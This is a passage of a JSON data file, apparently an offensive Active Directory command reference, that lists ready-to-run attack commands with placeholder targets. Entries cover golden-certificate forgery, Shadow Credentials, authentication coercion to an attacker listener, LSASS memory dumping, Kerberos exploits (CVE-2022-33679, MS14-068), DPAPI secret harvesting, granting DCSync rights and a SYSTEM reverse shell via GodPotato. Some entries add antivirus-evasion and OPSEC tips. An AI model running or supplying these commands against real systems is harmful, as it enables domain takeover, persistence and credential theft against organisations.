     "name": "Certipy-Forge-GoldenCert",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Persistence"
     ],
     "nativeCategory": [
       "Persistence"
     ],
     "command": "certipy forge -ca-pfx test-CA.pfx -upn administrator@test.local -sid S-1-5-21-1339291983-1349129144-367733775-500 -out administrator_forged.pfx",
     "description": "A 'golden certificate' is forged offline once the operator has extracted the Enterprise CA's own certificate and private key (via certipy ca -backup or ESC7, output as a .pfx). Certipy forge signs a brand-new certificate for any UPN with that CA key, so it is trusted by every DC in the forest. Because it never touches the CA and needs no enrollment, it is a durable persistence primitive that survives the target user's password resets. Include -sid to satisfy strong certificate mapping. Feed the forged .pfx to certipy auth.\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tCA private key (PFX): test-CA.pfx\n\n\tDomain SID: S-1-5-21-1339291983-1349129144-367733775",
     "mitre": [],
     "requires": [
       "PFX"
     ],
     "services": [
       "ADCS"
     ],
     "references": [
       "https://github.com/ly4k/Certipy",
       "https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-and-some-thoughts-on-mitigations-c9d38edc7723",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Certipy-ShadowCredentials",
     "toolId": "wadcoms:Certipy",
     "toolName": "Certipy",
     "name": "Certipy-ShadowCredentials",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Credential Access",
       "Privilege Escalation"
     ],
     "nativeCategory": [
       "Credential Access",
       "PrivEsc"
     ],
     "command": "certipy shadow auto -u john@test.local -p password123 -dc-ip 10.10.10.1 -account victim",
     "description": "Shadow Credentials abuse write access to a target's msDS-KeyCredentialLink attribute (Key Trust). Certipy shadow auto adds an attacker-controlled key credential to the target account over LDAP, uses it to obtain a certificate via PKINIT, recovers the account's NT hash, and then removes the key credential to clean up automatically. Requires GenericWrite/GenericAll (or equivalent) over the target and a KDC that supports PKINIT. Preferred over PyWhisker when you want the full add-authenticate-restore chain in one step.\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tTarget account: victim\n\n\tDomain Controller IP: 10.10.10.1",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "LDAP",
       "Kerberos",
       "ADCS"
     ],
     "references": [
       "https://github.com/ly4k/Certipy",
       "https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab",
       "https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Coercer-Coerce",
     "toolId": "wadcoms:Coercer",
     "toolName": "Coercer",
     "name": "Coercer-Coerce",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Execution"
     ],
     "nativeCategory": [
       "Exploitation"
     ],
     "command": "Coercer coerce -u john -p password123 -d test.local -t 10.10.10.1 -l 10.10.10.2",
     "description": "Coercer is a multi-protocol authentication coercion tool that automatically walks through every known RPC coercion method (MS-RPRN, MS-EFSR, MS-DFSNM, MS-FSRVP, MS-EVEN and more) against a target and triggers the machine account to authenticate back to an attacker-controlled listener. The 'coerce' mode fires all applicable methods, making it the fastest way to obtain a machine-account NTLM authentication to feed into ntlmrelayx or krbrelayx. Requires a valid domain account by default and works well when you do not yet know which specific coercion vector (PrinterBug, PetitPotam, DFSCoerce, ShadowCoerce) is exposed. OPSEC: it is noisy, hitting many named pipes in one run.\n\nCommand Reference:\n\n\tTarget IP: 10.10.10.1\n\n\tListener IP: 10.10.10.2\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "RPC",
       "NTLM"
     ],
     "references": [
       "https://github.com/p0dalirius/Coercer",
       "https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Coercer-Scan",
     "toolId": "wadcoms:Coercer",
     "toolName": "Coercer",
     "name": "Coercer-Scan",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Enumeration",
       "Discovery"
     ],
     "nativeCategory": [
       "Enumeration",
       "Discovery"
     ],
     "command": "Coercer scan -u john -p password123 -d test.local -t 10.10.10.1",
     "description": "Coercer's 'scan' mode enumerates which RPC coercion methods and named pipes are reachable on a target without actually completing an authentication relay, letting an operator map the exposed attack surface (MS-RPRN, MS-EFSR, MS-DFSNM, MS-FSRVP, etc.) before choosing a vector. Use it as reconnaissance to confirm a host is vulnerable and to pick the quietest single method rather than blasting all of them with coerce. Typically run with a valid domain account.\n\nCommand Reference:\n\n\tTarget IP: 10.10.10.1\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "RPC",
       "NTLM"
     ],
     "references": [
       "https://github.com/p0dalirius/Coercer",
       "https://podalirius.net/en/articles/coercer-an-automatic-authentication-coercion-tool/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Comsvcs-MiniDump-LSASS",
     "toolId": "wadcoms:Comsvcs",
     "toolName": "Comsvcs",
     "name": "Comsvcs-MiniDump-LSASS",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Credential Access"
     ],
     "nativeCategory": [
       "Credential Access"
     ],
     "command": "# Get the LSASS PID first:  tasklist /fi \"imagename eq lsass.exe\"\nrundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump <lsass_pid> C:\\Windows\\Temp\\lsass.dmp full",
     "description": "The built-in comsvcs.dll exports a MiniDump function that rundll32 can call to write a full memory dump of any process by PID, making it a living-off-the-land LSASS dumper that needs no dropped tooling. Supply the LSASS PID (find it with tasklist or Get-Process lsass), an output path, and the 'full' flag for a complete dump. It requires SYSTEM (or admin + SeDebugPrivilege); the dump is then parsed offline with pypykatz or Mimikatz. This technique is well-signatured, so treat it as noisy.\n\nCommand Reference:\n\n\tOutput dump: C:\\Windows\\Temp\\lsass.dmp\n\n\tLSASS PID: <lsass_pid>",
     "mitre": [
       "T1003.001"
     ],
     "requires": [
       "Shell"
     ],
     "services": [
       "NTLM",
       "Kerberos"
     ],
     "references": [
       "https://lolbas-project.github.io/lolbas/Libraries/comsvcs/",
       "https://book.hacktricks.xyz/windows-hardening/stealing-credentials",
       "https://attack.mitre.org/techniques/T1003/001/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:CVE-2022-33679-Downgrade",
     "toolId": "wadcoms:CVE",
     "toolName": "CVE",
     "name": "CVE-2022-33679 Kerberos RC4-MD4 Downgrade",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Credential Access",
       "Execution"
     ],
     "nativeCategory": [
       "Credential Access",
       "Exploitation"
     ],
     "command": "# target = domain/username (AS-REP-roastable account), serverName = DC FQDN\npython3 CVE-2022-33679.py test.local/john dc.test.local -dc-ip 10.10.10.1\n\n# Use the recovered ticket\nexport KRB5CCNAME=john_dc.ccache",
     "description": "CVE-2022-33679 is an unauthenticated Kerberos encryption-downgrade attack: the KDC returns AS-REP material encrypted with the legacy RC4-MD4 (etype 24) cipher for an account, and a known-plaintext weakness lets the attacker brute-force the ephemeral session key and forge a usable TGT. Bdenneu's standalone exploit targets a domain account that has 'Do not require Kerberos pre-authentication' set and an RC4 key, needing only the victim's username (no password). It writes the recovered TGT to a ccache named <user>_<server>.ccache, which can then be used for unauthenticated Kerberoasting or further access.\n\nCommand Reference:\n\n\tTarget (domain/user): test.local/john\n\n\tDC host: dc.test.local\n\n\tDC IP: 10.10.10.1\n\n\tOutput: out.ccache",
     "mitre": [],
     "requires": [
       "No_Creds"
     ],
     "services": [
       "Kerberos"
     ],
     "references": [
       "https://github.com/Bdenneu/CVE-2022-33679",
       "https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html",
       "https://horizon3.ai/attack-research/attack-blogs/from-cve-2022-33679-to-unauthenticated-kerberoasting/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:DFSCoerce",
     "toolId": "wadcoms:DFSCoerce",
     "toolName": "DFSCoerce",
     "name": "DFSCoerce",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Execution"
     ],
     "nativeCategory": [
       "Exploitation"
     ],
     "command": "python3 dfscoerce.py -u john -p password123 -d test.local 10.10.10.2 10.10.10.1",
     "description": "DFSCoerce abuses the MS-DFSNM (Distributed File System Namespace Management) RPC interface exposed on a Domain Controller (via the \\PIPE\\netdfs named pipe) to coerce the DC machine account into authenticating to an attacker-controlled host. Because the vulnerable interface lives on the DC itself, it is a reliable path to relay the DC$ authentication to ADCS or LDAP for a domain takeover. The listener is passed first, the target DC second, mirroring PetitPotam's argument order. A valid low-privileged domain account is normally required.\n\nCommand Reference:\n\n\tTarget DC IP: 10.10.10.1\n\n\tListener IP: 10.10.10.2\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "RPC",
       "NTLM"
     ],
     "references": [
       "https://github.com/Wh04m1001/DFSCoerce",
       "https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/ms-dfsnm"
     ],
     "added": true
   },
   {
     "id": "wadcoms:DonPAPI-Collect",
     "toolId": "wadcoms:DonPAPI",
     "toolName": "DonPAPI",
     "name": "DonPAPI-Collect",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Credential Access",
       "Collection"
     ],
     "nativeCategory": [
       "Credential Access",
       "Collection"
     ],
     "command": "# Mass DPAPI harvest against a host (or CIDR / target file), fetching the domain backup key\ndonpapi collect -u john -p password123 -d test.local -t 10.10.10.1 --fetch-pvk\n\n# Browse the collected loot afterward\ndonpapi gui",
     "description": "DonPAPI (login-securite) mass-harvests DPAPI-protected secrets across a set of Windows hosts from Linux without dropping a binary: it remotely reads and decrypts credential blobs, saved browser passwords and cookies, Wi-Fi keys, scheduled task and vault credentials, and certificates. The collect subcommand takes standard NetExec-style auth (-u/-p, -H for hashes, -k/--aesKey for Kerberos) and a -t target list; --fetch-pvk grabs the domain backup key so user masterkeys decrypt automatically. Results land in a local database browsable afterward with donpapi gui. Requires local admin on each target and is loud at scale, so scope the target list carefully.\n\nCommand Reference:\n\n\tTarget IP: 10.10.10.1\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "SMB"
     ],
     "references": [
       "https://github.com/login-securite/DonPAPI",
       "https://www.login-securite.com/2022/03/28/donpapi/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:EfsPotato-SeImpersonate",
     "toolId": "wadcoms:EfsPotato",
     "toolName": "EfsPotato",
     "name": "EfsPotato-SeImpersonate",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Privilege Escalation",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Exploitation"
     ],
     "command": "# Compile on the target with the bundled .NET compiler\nC:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /nowarn:1691,618 /out:EfsPotato.exe EfsPotato.cs\n\n# Run a command as SYSTEM (optional 2nd arg picks the named pipe)\nEfsPotato.exe \"whoami\"\nEfsPotato.exe \"whoami\" 2",
     "description": "EfsPotato abuses the MS-EFSRPC (Encrypting File System Remote) interface to coerce the local SYSTEM account to authenticate over a named pipe, then impersonates the token to run a command as SYSTEM. It is a single self-contained source file typically compiled on the target with csc.exe, which helps evade AV signatures on prebuilt potato binaries. The optional second argument selects the named pipe (1=lsarpc, 2=efsrpc, 3=samr, 4=lsass, 5=netlogon) to dodge partial MS-EFSRPC patches. Requires SeImpersonatePrivilege.\n\nCommand Reference:\n\n\tPrivilege required: SeImpersonatePrivilege\n\n\tPipe selector (optional): 2 = \\pipe\\efsrpc",
     "mitre": [],
     "requires": [
       "Shell"
     ],
     "services": [
       "RPC"
     ],
     "references": [
       "https://github.com/zcgonvh/EfsPotato",
       "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer"
     ],
     "added": true
   },
   {
     "id": "wadcoms:GodPotato-SeImpersonate",
     "toolId": "wadcoms:GodPotato",
     "toolName": "GodPotato",
     "name": "GodPotato-SeImpersonate",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Privilege Escalation",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Exploitation"
     ],
     "command": "# Run a command as NT AUTHORITY\\SYSTEM\nGodPotato-NET4.exe -cmd \"cmd /c whoami\"\n\n# Example: trigger a reverse shell payload as SYSTEM\nGodPotato-NET4.exe -cmd \"cmd /c C:\\Windows\\Temp\\rev.exe 10.10.10.2 443\"",
     "description": "GodPotato abuses SeImpersonatePrivilege to escalate a service account to SYSTEM by triggering a SYSTEM RPC/DCOM authentication against a local fake OXID resolver, then impersonating the returned token. Unlike the older *Potato variants it works broadly across Windows Server 2012 R2 through 2022 and Windows 8 through 11. Pick the binary matching the installed .NET runtime (GodPotato-NET2/NET35/NET4). Requires SeImpersonatePrivilege or SeAssignPrimaryToken on the current token.\n\nCommand Reference:\n\n\tPrivilege required: SeImpersonatePrivilege",
     "mitre": [
       "T1134.002"
     ],
     "requires": [
       "Shell"
     ],
     "services": [
       "DCOM",
       "RPC"
     ],
     "references": [
       "https://github.com/BeichenDream/GodPotato",
       "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/juicypotato",
       "https://attack.mitre.org/techniques/T1134/002/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Hashcat-ASREPRoast",
     "toolId": "wadcoms:Hashcat",
     "toolName": "Hashcat",
     "name": "Hashcat-ASREPRoast",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Credential Access"
     ],
     "nativeCategory": [
       "Credential Access"
     ],
     "command": "# hashes.txt holds one $krb5asrep$23$user@TEST.LOCAL:... blob per account\nhashcat -m 18200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt\n\nhashcat -m 18200 hashes.txt --show",
     "description": "Accounts with 'Do not require Kerberos preauthentication' set will return an AS-REP whose encrypted part is derived from the account password. Hashcat mode 18200 cracks the RC4-HMAC (etype 23) $krb5asrep$23$ format produced by Impacket GetNPUsers.py or Rubeus asreproast. No valid domain credentials are needed to collect these, and cracking is fully offline against a wordlist.\n\nCommand Reference:\n\n\tHash File: hashes.txt\n\n\tWordlist: /usr/share/wordlists/rockyou.txt",
     "mitre": [
       "T1558.004"
     ],
     "requires": [
       "Hash"
     ],
     "services": [
       "Kerberos"
     ],
     "references": [
       "https://hashcat.net/wiki/doku.php?id=example_hashes",
       "https://www.thehacker.recipes/ad/movement/kerberos/asreproast",
       "https://attack.mitre.org/techniques/T1558/004/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Hashcat-DCC2-mscash2",
     "toolId": "wadcoms:Hashcat",
     "toolName": "Hashcat",
     "name": "Hashcat-DCC2-mscash2",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Credential Access"
     ],
     "nativeCategory": [
       "Credential Access"
     ],
     "command": "# hashes.txt holds one $DCC2$10240#john#<hash> line per cached account\nhashcat -m 2100 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt\n\nhashcat -m 2100 hashes.txt --show",
     "description": "Domain Cached Credentials v2 (mscash2 / DCC2) are the cached logon verifiers stored on domain-joined hosts so users can log in when the DC is unreachable, recoverable with secretsdump.py or mimikatz. Hashcat mode 2100 cracks the $DCC2$iterations#username#hash format. DCC2 uses PBKDF2 (default 10240 iterations) and cannot be passed or relayed, so offline cracking is the only path to the password; expect it to be far slower than NTLM.\n\nCommand Reference:\n\n\tHash File: hashes.txt\n\n\tWordlist: /usr/share/wordlists/rockyou.txt",
     "mitre": [
       "T1003.005"
     ],
     "requires": [
       "Hash"
     ],
     "services": [
       "NTLM"
     ],
     "references": [
       "https://hashcat.net/wiki/doku.php?id=example_hashes",
       "https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-mimikatz",
       "https://attack.mitre.org/techniques/T1003/005/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Hashcat-Kerberoast-TGSREP",
     "toolId": "wadcoms:Hashcat",
     "toolName": "Hashcat",
     "name": "Hashcat-Kerberoast-TGSREP",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Credential Access"
     ],
     "nativeCategory": [
       "Credential Access"
     ],
     "command": "# hashes.txt holds one $krb5tgs$23$*...*$... blob per SPN\nhashcat -m 13100 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt\n\n# recover already-cracked results from the potfile\nhashcat -m 13100 hashes.txt --show",
     "description": "Kerberoasting returns a TGS-REP whose encrypted portion is derived from the service account's password. Hashcat mode 13100 targets the RC4-HMAC (etype 23) $krb5tgs$23$ format produced by Impacket GetUserSPNs.py or Rubeus. Because the ticket is keyed to the account password, it can be recovered fully offline with a wordlist, no further contact with the DC and no lockout risk. This is the standard follow-up to any Kerberoast collection.\n\nCommand Reference:\n\n\tHash File: hashes.txt\n\n\tWordlist: /usr/share/wordlists/rockyou.txt",
     "mitre": [
       "T1558.003"
     ],
     "requires": [
       "Hash"
     ],
     "services": [
       "Kerberos"
     ],
     "references": [
       "https://hashcat.net/wiki/doku.php?id=example_hashes",
       "https://www.thehacker.recipes/ad/movement/kerberos/kerberoast",
       "https://attack.mitre.org/techniques/T1558/003/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Hashcat-NetNTLMv1",
     "toolId": "wadcoms:Hashcat",
     "toolName": "Hashcat",
     "name": "Hashcat-NetNTLMv1",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Credential Access"
     ],
     "nativeCategory": [
       "Credential Access"
     ],
     "command": "# straight dictionary crack of the NetNTLMv1 response\nhashcat -m 5500 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt\n\n# preferred: reverse a fixed-challenge (1122334455667788) response to the NT hash\n# format it with evilmog's ntlmv1-multi, then submit to crack.sh / crack DES locally\npython3 ntlmv1.py --ntlmv1 'john::TEST:...:...:1122334455667788'",
     "description": "Legacy NetNTLMv1 responses (user::domain:LMresp:NTresp:challenge) are cracked with hashcat mode 5500. Their real value is that a NetNTLMv1 response captured against a known/forced challenge (e.g. 1122334455667788) is a DES computation over the raw NT hash, so it can be reversed to the account's NT hash rather than a password. The evilmog ntlmv1-multi tool formats the response for submission to crack.sh, which historically returned the NT hash instantly via DES rainbow tables (the public service has since been offline; the same reversal can be run locally as hashcat mode 14000 DES). The recovered NT hash then enables pass-the-hash.\n\nCommand Reference:\n\n\tHash File: hashes.txt\n\n\tWordlist: /usr/share/wordlists/rockyou.txt",
     "mitre": [],
     "requires": [
       "Hash"
     ],
     "services": [
       "NTLM"
     ],
     "references": [
       "https://hashcat.net/wiki/doku.php?id=example_hashes",
       "https://github.com/evilmog/ntlmv1-multi",
       "https://crack.sh/netntlm/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Hashcat-NetNTLMv2",
     "toolId": "wadcoms:Hashcat",
     "toolName": "Hashcat",
     "name": "Hashcat-NetNTLMv2",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Credential Access"
     ],
     "nativeCategory": [
       "Credential Access"
     ],
     "command": "# hashes.txt holds one JOHN::TEST:112233...:HMAC:blob line per capture\nhashcat -m 5600 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt\n\nhashcat -m 5600 hashes.txt --show",
     "description": "Responder, ntlmrelayx or an SMB/HTTP poisoning capture yields NetNTLMv2 challenge-response hashes in the form user::domain:challenge:HMAC:blob. Hashcat mode 5600 cracks these offline to recover the account's cleartext password. NetNTLMv2 cannot be passed-the-hash, so cracking (or relaying) is the only way to weaponise a captured response.\n\nCommand Reference:\n\n\tHash File: hashes.txt\n\n\tWordlist: /usr/share/wordlists/rockyou.txt",
     "mitre": [
       "T1110.002"
     ],
     "requires": [
       "Hash"
     ],
     "services": [
       "NTLM"
     ],
     "references": [
       "https://hashcat.net/wiki/doku.php?id=example_hashes",
       "https://www.thehacker.recipes/ad/movement/ntlm/capture",
       "https://attack.mitre.org/techniques/T1110/002/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Hashcat-NTLM-secretsdump",
     "toolId": "wadcoms:Hashcat",
     "toolName": "Hashcat",
     "name": "Hashcat-NTLM-secretsdump",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Credential Access"
     ],
     "nativeCategory": [
       "Credential Access"
     ],
     "command": "# feed the full secretsdump pwdump line and let hashcat strip the user field\nhashcat -m 1000 -a 0 --username hashes.txt /usr/share/wordlists/rockyou.txt\n\n# or crack a bare NT hash\nhashcat -m 1000 -a 0 2a3de7fe356ee524cc9f3d579f2e0aa7 /usr/share/wordlists/rockyou.txt\n\nhashcat -m 1000 --username hashes.txt --show",
     "description": "Impacket secretsdump.py, an NTDS.dit dump or a SAM dump yields lines of the form user:rid:lmhash:nthash:::. Hashcat mode 1000 cracks the raw NT hash to cleartext. The --username flag lets hashcat parse the full pwdump-style line and keep the account association in the output. Cracking is optional for lateral movement (NT hashes can be passed) but is needed to recover reusable passwords and to spot password reuse.\n\nCommand Reference:\n\n\tHash File: hashes.txt\n\n\tNT Hash: 2a3de7fe356ee524cc9f3d579f2e0aa7\n\n\tWordlist: /usr/share/wordlists/rockyou.txt",
     "mitre": [
       "T1003.002"
     ],
     "requires": [
       "Hash"
     ],
     "services": [
       "NTLM"
     ],
     "references": [
       "https://hashcat.net/wiki/doku.php?id=example_hashes",
       "https://github.com/fortra/impacket/blob/master/examples/secretsdump.py",
       "https://attack.mitre.org/techniques/T1003/002/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Impacket-dacledit-DCSync",
     "toolId": "wadcoms:Impacket-dacledit",
     "toolName": "Impacket-dacledit",
     "name": "Impacket-dacledit-DCSync",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Privilege Escalation",
       "Persistence",
       "Credential Access"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Persistence",
       "Credential Access"
     ],
     "command": "# Grant john DCSync rights on the domain object\ndacledit.py -action 'write' -rights 'DCSync' -principal 'john' -target-dn 'DC=test,DC=local' -dc-ip 10.10.10.1 'test.local/john:password123'",
     "description": "Impacket's dacledit.py reads and modifies the DACL of an Active Directory object over LDAP. With `-action write -rights DCSync` against the domain naming context it grants a principal the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights, enabling that principal to perform a DCSync and dump every domain hash. This is a classic ACL-based domain-privilege-escalation and persistence primitive; it requires WriteDacl over the domain object. Back up the DACL with `-action read` first so you can restore it.\n\nCommand Reference:\n\n\tDC IP: 10.10.10.1\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tGranted principal: john",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "LDAP"
     ],
     "references": [
       "https://github.com/fortra/impacket",
       "https://www.thehacker.recipes/ad/movement/dacl/grant-rights",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Impacket-DescribeTicket",
     "toolId": "wadcoms:Impacket-describeTicket",
     "toolName": "Impacket-describeTicket",
     "name": "Impacket-DescribeTicket",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Discovery"
     ],
     "nativeCategory": [
       "Discovery"
     ],
     "command": "# Describe a ticket offline (envelope, flags, and the PAC where it can be read)\ndescribeTicket.py out.ccache",
     "description": "Impacket describeTicket.py parses a Kerberos ticket file (ccache or kirbi) and prints its fields, and when given the relevant key it decrypts the enc-part and dumps the PAC, exposing the user, RID, group memberships and PAC signatures. It is the Linux counterpart to Rubeus describe and is useful for validating forged or captured tickets before use. Runs fully offline.\n\nCommand Reference:\n\n\tTicket file: out.ccache",
     "mitre": [],
     "requires": [
       "TGT"
     ],
     "services": [
       "Kerberos"
     ],
     "references": [
       "https://github.com/fortra/impacket",
       "https://www.thehacker.recipes/ad/movement/kerberos/ptt"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Impacket-FindDelegation",
     "toolId": "wadcoms:Impacket-findDelegation",
     "toolName": "Impacket-findDelegation",
     "name": "Impacket-FindDelegation",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Enumeration",
       "Discovery"
     ],
     "nativeCategory": [
       "Enumeration",
       "Discovery"
     ],
     "command": "# Enumerate all delegation relationships in the domain\nfindDelegation.py test.local/john:password123 -dc-ip 10.10.10.1",
     "description": "Impacket findDelegation.py enumerates every delegation relationship in the domain over LDAP: unconstrained, constrained (S4U2Proxy allowed-to-delegate-to targets) and resource-based constrained delegation. The output identifies accounts and computers that can be abused for privilege escalation and lateral movement via Kerberos delegation. Requires any valid domain credentials.\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tDC IP: 10.10.10.1",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "Kerberos",
       "LDAP"
     ],
     "references": [
       "https://github.com/fortra/impacket",
       "https://www.thehacker.recipes/ad/movement/kerberos/delegations",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/constrained-delegation"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Impacket-GetUserSPNs-NoPreauth",
     "toolId": "wadcoms:Impacket-GetUserSPNs",
     "toolName": "Impacket-GetUserSPNs",
     "name": "Impacket-GetUserSPNs-NoPreauth",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Enumeration",
       "Credential Access"
     ],
     "nativeCategory": [
       "Enumeration",
       "Credential Access"
     ],
     "command": "# 'john' is an account with Kerberos pre-auth disabled; usernames.txt lists SPN accounts to roast\nGetUserSPNs.py -no-preauth john -usersfile usernames.txt -dc-host dc.test.local test.local/",
     "description": "GetUserSPNs.py with -no-preauth performs Kerberoasting without any valid domain credentials. It leverages an account that has Kerberos pre-authentication disabled (an AS-REP roastable account): by altering the sname in a crafted KRB_AS_REQ, the KDC returns a service ticket instead of a TGT, encrypted with the target service account's key. Because you cannot query LDAP for SPNs without creds, you must supply candidate service-account names with -usersfile. The resulting TGS hashes are cracked offline. You only need the name of one pre-auth-disabled account plus a list of accounts to roast.\n\nCommand Reference:\n\n\tNo_Creds (name of an AS-REP roastable account: john)\n\tCandidate accounts file: usernames.txt\n\tDomain: test.local\n\tDomain Controller host: dc.test.local",
     "mitre": [],
     "requires": [
       "No_Creds"
     ],
     "services": [
       "Kerberos",
       "LDAP"
     ],
     "references": [
       "https://github.com/fortra/impacket",
       "https://swarm.ptsecurity.com/kerberoasting-without-spns/",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Impacket-GoldenPac",
     "toolId": "wadcoms:Impacket-goldenPac",
     "toolName": "Impacket-goldenPac",
     "name": "Impacket-GoldenPac",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Privilege Escalation",
       "Execution",
       "Lateral Movement"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Exploitation",
       "Lateral Movement"
     ],
     "command": "# Exploit MS14-068 to gain SYSTEM on an unpatched DC\ngoldenPac.py test.local/john:password123@dc.test.local",
     "description": "Impacket goldenPac.py exploits MS14-068 (CVE-2014-6324): on an unpatched domain controller the PAC signature validation can be bypassed, letting an ordinary domain user forge a TGT claiming Domain Admin membership without the krbtgt key. The script builds the forged PAC, obtains a privileged ticket and then executes a command (PSEXEC-style) on the target DC. Only affects DCs missing the 2014 patch, but remains relevant against legacy lab and CTF environments.\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tDomain Controller host: dc.test.local",
     "mitre": [
       "T1558"
     ],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "Kerberos",
       "SMB"
     ],
     "references": [
       "https://github.com/fortra/impacket",
       "https://github.com/fortra/impacket/blob/master/examples/goldenPac.py",
       "https://attack.mitre.org/techniques/T1558/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Impacket-MSSQLClient",
     "toolId": "wadcoms:Impacket-mssqlclient",
     "toolName": "Impacket-mssqlclient",
     "name": "Impacket-MSSQLClient",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Lateral Movement",
       "Enumeration"
     ],
     "nativeCategory": [
       "Lateral Movement",
       "Enumeration"
     ],
